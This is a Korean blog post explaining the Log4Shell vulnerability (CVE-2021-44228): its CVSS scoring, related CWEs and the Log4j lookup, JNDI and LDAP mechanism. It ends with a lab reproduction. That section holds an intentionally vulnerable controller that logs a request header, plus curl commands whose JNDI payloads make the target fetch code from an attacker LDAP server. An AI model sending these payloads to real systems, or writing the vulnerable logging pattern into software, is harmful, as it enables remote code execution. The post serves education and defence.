[CVE-2021-44228] Log4Shell 원격 코드 실행(Remote Code Execution) 취약점과 PoC 재현
RECOMMEND POSTS BEFORE THIS
0. 들어가면서
최근 IT 업계를 떠들썩하게 만들었던 보안 취약점이 발견되었다. 처음 접한 뉴스에서 “많이 사용되는 프레임워크에서 보안 취약점이 발견되었다.”는 소식을 듣고 찾아보았을 때 굉장히 놀랐다. Log4j는 자바(Java) 언어로 개발되는 거의 모든 애플리케이션에서 사용하고 있다고 말해도 과장이 아니다. 단순하게 로그를 출력하는 일 외에도 다양한 기능들을 제공하기 때문에 많은 곳에서 사용된다. 어떤 문제가 있었는지 살펴보고, 해킹이 어떤 방식으로 시도되었는지 간단하게 과정을 재현해보았다.
1. CVE-2021-44228
CVE-2021-44228은 Apache Log4j2 라이브러리에서 발생한 보안 취약점이다. 로그 메시지 및 매개변수에 사용되는 JNDI(Java Naming and Directory Interface) 기능이 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트에 대해 적절한 보호를 제공하지 않아 발생한다. 공격자가 로그 메시지나 매개변수를 제어할 수 있을 경우, 메시지 조회 대체(message lookup substitution)가 활성화되어 있을 때 LDAP 서버에서 로드된 임의의 코드를 실행(Remote Code Execution, RCE)할 수 있다.
- CVSS 위험도 점수
- CVSS 3.x 기준 최고점인 10.0 (CRITICAL, 치명적)으로 평가
- 영향을 받는 버전
- 2.0-beta9 ~ 2.15.0
- 보안 릴리즈인 2.12.2, 2.12.3, 2.3.1 버전은 제외
기본 지표(base metrics)인 익스플로잇(exploit) 가능성은 다음과 같다.
- AV:N (Attack Vector: Network)
- 공격 벡터는 네트워크로 대상 시스템에 물리적으로 접근하거나 로컬 권한을 얻을 필요 없이, 인터넷 등 원격 네트워크를 통해 외부에서 곧바로 공격이 가능함을 의미한다.
- AC:L (Attack Complexity: Low)
- 공격을 수행하기 위해 우회해야 할 특별한 보안 조건이나 복잡한 설정이 없으며, 공격자가 매우 쉽게 악용할 수 있다.
- PR:N (Privileges Required: None)
- 공격자가 시스템에 접근하기 위해 어떠한 사전 인증이나 시스템 권한도 필요로 하지 않는다.
- UI:N (User Interaction: None)
- 희생자가 악성 링크를 클릭하거나 파일을 다운로드하는 등의 개입 조작 없이, 공격자의 일방적인 데이터 전송(예: 조작된 로그 문자열 전송)만으로 취약점이 발현된다.
- S:C (Scope: Changed)
- 공격의 영향이 취약점이 발생한 단일 소프트웨어 컴포넌트(Log4j)에 국한되지 않고, 권한 경계를 넘어 이를 호스팅하는 시스템 전체나 다른 리소스로까지 피해 범위가 확장(변경)됨을 의미한다.
- C:H (Confidentiality: High)
- 성공적인 공격 시 시스템 내부의 기밀 데이터가 완전히 노출되어 정보 유출 피해가 가장 높은 수준으로 발생한다.
- I:H (Integrity: High)
- 원격 코드 실행(RCE) 등을 통해 공격자가 시스템 내의 모든 데이터를 마음대로 변조하거나 삭제할 수 있는 치명적인 권한을 얻는다.
- A:H (Availability: High)
- 공격자가 시스템을 다운시키거나 제어권을 탈취하여 리소스를 완전히 마비시킴으로써, 정상적인 서비스 제공이 불가능해지는 심각한 가용성 상실을 유발한다.
해당 보안 취약점과 연관된 취약점 유형(CWE, Common Weakness Enumeration)은 다음과 같다.
- CWE-20: 부적절한 입력 유효성 검사 (Improper Input Validation)
- 제품이 입력이나 데이터를 수신할 때, 해당 데이터를 안전하고 올바르게 처리하기 위해 필요한 속성을 갖추고 있는지 검증하지 않거나 잘못 검증하는 약점이다.
- 애플리케이션의 내부 로직에 도달하기 전에 잠재적으로 위험한 입력을 걸러내지 못하므로, 공격자가 예상치 못한 값을 제공하여 프로그램 충돌을 일으키거나 시스템 제어 흐름을 변경하여 임의의 명령을 실행하는 등 광범위한 공격의 시발점이 될 수 있다.
- CWE-400: 제어되지 않은 리소스 소비 (Uncontrolled Resource Consumption)
- 소프트웨어가 제한된 시스템 리소스(CPU, 메모리, 프로세스, 파일 디스크립터 등)의 할당 및 유지를 적절하게 제어하지 못하는 약점.
- 공격자가 리소스 할당을 유발하는 요청을 대량으로 보내거나 크기를 조작할 경우, 시스템이 이를 통제하지 못해 메모리나 CPU가 고갈될 수 있습니다. 이는 유효한 사용자가 제품에 접근하지 못하게 시스템을 느려지게 하거나 다운시키는 서비스 거부(DoS) 공격으로 이어집니다.
- CWE-502: 신뢰할 수 없는 데이터의 역직렬화 (Deserialization of Untrusted Data)
- 신뢰할 수 없는 외부 데이터를 역직렬화(Deserialization)하여 객체로 복원할 때, 결과 데이터가 유효하고 안전한지 충분히 확인하지 않는 약점이다.
- 공격자가 조작된 악성 직렬화 객체(예: 가젯 체인, 피클링 데이터 등)를 전송하면, 애플리케이션이 이를 역직렬화하는 과정에서 공격자가 의도한 객체나 메서드가 인스턴스화된다. 이로 인해 권한 없는 작업이 수행되거나 쉘이 생성되는 등 원격 코드 실행(RCE)의 직접적인 원인이 된다.
- CWE-917: 표현식 언어 명령문에 사용되는 특수 요소의 부적절한 무효화
- NVD(국가 취약점 데이터베이스) 평가에 추가된 약점으로, 애플리케이션이 표현식 언어(Expression Language) 구문을 처리할 때 공격자가 주입한 특수 문자를 안전하게 무효화하지 못하는 취약점이다.
- Log4j2가 로그 메시지 내의 ${}와 같은 특수 구문(Message Lookup)을 해석하여 JNDI를 통해 외부 서버의 코드를 로드하게 만드는 핵심 공격 원리인 표현식 인젝션(Expression Language Injection)과 직접적으로 연관되어 있다.
2. Cause of vulnerability
어떻게 로그를 출력하는 것만으로 원격 코드 실행이 가능했을까? 간단하게 원리와 예제 코드를 살펴보자. 메시지 조회 대체란 로그에 기록되는 문자열 안에 포함된 특정 ‘명령어(변수)’를 찾아내서(Lookup), 그에 맞는 ‘실제 데이터’로 바꿔치기 해주는 자동 변환 기능이다. 다소 말이 어려웠는데 쉽게 설명하면 출력하는 로그에 시스템 속성 등의 값을 변수 혹은 예약어를 이용해 출력할 수 있는 기능이다.
${}형태의 문자열 변수를 전달- Log4j 내부에서 파싱(parsing)
- 해당되는 기능을 수행
${}를 수행 결과 값으로 대체
예를 들어, 로그에 ${java:runtime} 표현식을 추가하면 해당 변수 위치에 자바 Runtime 정보가 출력된다.
logger.info("This is test log for example of lookups - ${java:runtime}");
위 코드를 실행하면 다음과 같은 로그가 출력된다.
This is test log for example of lookups - Java(TM) SE Runtime Environment (build 11.0.13+10-LTS-370) from Oracle Corporation
메시지 조회 대체 기능을 통해 자바 애플리케이션의 JNDI 기능을 호출할 수 있다. JNDI는 자바 애플리케이션이 네트워크 상에 존재하는 다양한 이름 지정(Naming) 및 디렉토리(Directory) 서비스에 접근하여 데이터나 객체(Object)를 찾을 수 있도록 해주는 자바 표준 API다. 자바 애플리케이션은 자신이 가져올 객체가 구체적으로 어떤 프로토콜(LDAP, RMI, DNS 등)을 통해 제공되는지 몰라도 된다. 추상화 된 JNDI 인터페이스라는 단일한 규약에 맞춰 “특정 이름의 객체를 가져와라”라고 명령하기만 하면 된다.
예를 들어, JNDI를 사용하지 않고 데이터베이스 커넥션(connection)을 만들면 다음과 같이 코드를 작성한다.
String url = "jdbc:mysql://10.0.0.5:3306/production_db";
Connection conn = DriverManager.getConnection(url, "db_admin", "p@ssw0rd123");
JNDI를 사용하면 다음과 같이 데이터베이스 커넥션 객체를 생성할 수 있다. 개발자는 DB의 위치나 비밀번호를 모른 채, JNDI를 통해 jdbc/MyDB라는 이름만 조회하여 커넥션 객체를 받아올 수 있다.
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.sql.Connection;
public class DatabaseManager {
public Connection getConnection() throws Exception {
Context initCtx = new InitialContext();
Context envCtx = (Context) initCtx.lookup("java:comp/env");
DataSource ds = (DataSource) envCtx.lookup("jdbc/MyDB");
return ds.getConnection();
}
}
JNDI API를 사용하면 아래와 같은 디렉토리 서버로 접근하여 데이터, 특정 리소스를 발견하고 참조할 수 있다.
- Lightweight Directory Access Protocol (LDAP)
- Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
- Java Remote Method Invocation (RMI) Registry
- Domain Name Service (DNS)
JNDI API를 이용하면 여러 종류의 디렉토리 서비스를 사용할 수 있지만, 원격 코드 실행에 사용된 LDAP(Lightweight Directory Access Protocol)을 더 자세히 살펴보자. LDAP는 사용자, 시스템, 네트워크, 서비스 등의 정보를 공유하기 위한 목적으로 사용하는 프로토콜이다. LDAP 프로토콜은 조직이나 개체, 인터넷이나 기업 내의 인트라넷 같은 네트워크 상에 위치한 파일이나 자원(resource) 등의 위치를 찾을 수 있도록 돕는다. 이 프로토콜을 지원하는 서버의 서비스를 이용하면 연결된 네트워크 내에 자원들을 쉽게 찾을 수 있다. 특히, 사용자 정보를 중앙 집중적으로 관리하는 데 유용하다.
3. Exploit PoC (Proof of Concept)
개발자로서 가장 궁금한 내용이었다. 해커는 어떻게 위의 세 가지 기능(Log4j Lookups, JNDI, LDAP)을 이용하여 서버를 원격 실행할 수 있을까? 해킹 시도 시나리오를 먼저 살펴보고, 간단한 테스트 코드를 통해 PC들을 원격 조작해보겠다. 다음과 같은 시나리오를 가정한다.
- 해커는 특정 HTTP 헤더에 자신의 악성 LDAP 서버를 호출할 수 있는 정보를 담아 전달한다.
- e.g.
curl {VULNERABLE_TARGET} -H 'X-Api-Version: ${jndi:ldap://HACKERS_MALICIOUS_LDAP_SERVER/QUERY}'
- e.g.
- 취약 서버는
${jndi:ldap://HACKERS_MALICIOUS_LDAP_SERVER/QUERY}값을 로그로 출력한다. - Log4j 프레임워크에서
${jndi:...}키워드를 확인하고 원하는 리소스를 조회(lookup)하기 위해 해커가 미리 만든 악성 LDAP 서버로 요청을 보낸다. - 해커의 악성 LDAP 서버는 악성 명령어(command)를 응답한다.
- 취약 서버는 해커의 악성 LDAP 서버가 응답한 명령어를 실행하게 된다. 예를 들어, 다음과 같은 조작들을 수행시킬 수 있다.
- wget, curl 명령어를 통해 해커의 악성 HTTP 서버에서 악성 파일을 다운받게 할 수 있다.
- 취약 서버의 특정 프로그램을 실행시킬 수 있다.
이번 PoC 예제에서는 브라우저를 실행시켰다. 이제 본격적으로 예제 코드를 살펴보자. 악성 LDAP 서버 구현 코드를 일부 수정했다. 이 글의 예제는 이 링크에서 확인할 수 있다.
log4shell-vulnerable-app프로젝트 - 보안 취약 서버log4shell-attacker-ldap-server프로젝트 - 악의적인 LDAP 서버
두 대의 PC를 준비해서 한 곳에선 보안 취약 서버를 실행하고, 다른 한 곳에선 악성 LDAP 서버를 수행한다. 보안이 취약한 서버는 아래처럼 특정 헤더 값을 Log4j를 사용하여 출력한다. 해커의 악의적인 헤더 정보로 인해 서버는 위험에 노출된다.
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
각 운영체제 별로 PoC를 진행했다. 먼저 윈도우(windows) PC에서 보안 취약 서버를 실행하고, 다른 PC에선 악성 LDAP 서버를 실행한다.
http://192.168.1.3:8080/- Windows 운영체제에서 동작하는 취약 서비스ldap://192.168.1.6:1389- 해커의 악성 LDAP 서비스
보안 취약 서버로 o=windows라는 LDAP 질의(query)를 헤더에 담아 던지면 인터넷 익스플로러(IE, Internet Explorer)가 실행된다.
% curl http://192.168.1.3:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.1.6:1389/o=windows}'
아래 이미지처럼 cURL 명령어에 의해 인터넷 익스플로러 브라우저가 실행된다.
MacOS PC에서 동일하게 원격 조정이 되는지 살펴봤다. 다음과 같이 취약 서비스와 악성 LDAP 서비스를 실행한다.
http://127.0.0.1:8080/- MacOS 운영체제에서 동작하는 취약 서비스ldap://192.168.1.6:1389- 해커의 악성 LDAP 서비스
o=macos라는 LDAP 질의를 던지면 사파리(Safari) 브라우저가 실행된다.
curl http://127.0.0.1:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.1.6:1389/o=macos}'
아래 이미지처럼 cURL 명령어에 의해 사파리 브라우저가 실행된다.
TEST CODE REPOSITORY
REFERENCE
- https://www.cve.org/CVERecord?id=CVE-2021-44228
- https://nvd.nist.gov/vuln/detail/cve-2021-44228
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://cwe.mitre.org/data/definitions/502.html
- https://cwe.mitre.org/data/definitions/400.html
- https://cwe.mitre.org/data/definitions/20.html
- https://cwe.mitre.org/data/definitions/917.html
- https://logging.apache.org/log4j/2.x/security.html
- https://logging.apache.org/log4j/2.x/manual/lookups.html
- https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
- https://devocean.sk.com/blog/techBoardDetail.do?ID=163523
- https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol
- https://github.com/veracode-research/rogue-jndi
댓글남기기